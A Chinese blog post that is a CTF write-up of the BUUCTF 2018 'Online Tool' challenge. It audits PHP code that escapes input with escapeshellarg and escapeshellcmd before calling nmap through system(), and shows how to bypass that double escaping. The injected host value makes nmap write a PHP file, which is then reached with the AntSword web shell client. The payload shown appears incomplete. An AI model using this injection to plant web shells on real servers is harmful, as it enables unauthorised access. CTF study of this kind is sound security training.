Always keep a b|

Xxiaomaa

园龄:3个月粉丝:0关注:0

Xxiaoma解题[BUUCTF 2018]Online Tool

典型的PHP代码审计

开始审计

^()[]{}$\, \x0A和\xFF以及不配对的单/双引号转义 $sandbox = md5("glzjin". $_SERVER['REMOTE_ADDR']); echo 'you are in sandbox '.$sandbox; @mkdir($sandbox); //新建目录,默认权限,最大可能的访问权 chdir($sandbox); //改变目录路径,成功返回true,失败返回false echo system("nmap -T5 -sT -Pn --host-timeout 2 -F ".$host); // -sT,在目标主机的日志上记录大批连接请求和错误的信息 // -Pn,扫描之前不需要用ping命令,有些防火墙禁止使用ping命令 // -T5,时间优化参数,-T0~5,-T0扫描端口的周期大约为5分钟,-T5大约为5秒钟 // --host-time限制扫描时间 // -F,快速扫描 主要看这个$host = escapeshellarg($host); $host = escapeshellcmd($host); escapeshellarg和escapeshellcmd是两个php函数 escapeshellarg: 返回一个转义的字符串,并且结果会被单引号包裹起来 escapeshellcmd: 将下面这些字符转义,即加上\,确保不会解释为shell操作符 & ; | ' " > < \ * ? ~ ^ ( ) [ ] { } $ \n 最后构造payload为: ?host=' -oG mh.php '

http://092a6117-456e-4f49-8435-b717859a695b.node5.buuoj.cn:81/48e2cd8d887cf3cd1da273a3def88ede/mh.php
使用蚁剑链接即可获取flag

本文作者:Xxiaomaa

本文链接:https://www.cnblogs.com/mhwq/p/18528139

版权声明:本作品采用知识共享署名-非商业性使用-禁止演绎 2.5 中国大陆许可协议进行许可。

posted @   Xxiaomaa  阅读(27)  评论(0编辑  收藏  举报
点击右上角即可分享
微信分享提示
评论
收藏
关注
推荐
深色
回顶
收起